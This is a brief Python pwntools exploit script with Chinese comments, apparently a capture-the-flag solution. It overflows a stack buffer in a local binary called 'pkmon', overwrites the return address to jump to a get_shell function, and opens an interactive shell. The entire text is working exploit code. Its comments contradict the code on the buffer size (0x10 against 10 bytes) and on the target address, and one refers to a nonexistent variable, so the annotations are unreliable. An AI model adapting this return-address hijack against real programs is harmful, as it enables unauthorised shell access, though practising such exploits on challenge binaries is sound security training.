[ret2text]
#!/usr/bin/python3
# import pwn 工具包 (pwntools)
from pwn import *
# 将pwn1程序启动为进程
p = process('./pkmon')
# 构建payload,flat是将列表中的元素给组合起来
# "A" * 0x10 这个是vuln函数缓冲区大小
# p64(0xdeadbeef)表示8字节的整数,用来覆盖rbp,这个值可以任意填
# p64(0x400686)返回地址,返回到get_shell函数开头
payload = flat([b'a'*10, p64(0xdeadbeef), p64(0x40072B)])
# 使用gdb附加调试
# gdb.attach(io)
# 暂停,等待按任意健,程序继续往下执行
# pause()
# 接受到Input:字符串后发送payload
p.sendlineafter("Now come up with a name for your Pokemon",payload)
# p.sendlineafter("",1)
# 获取交互式shell环境
p.interactive()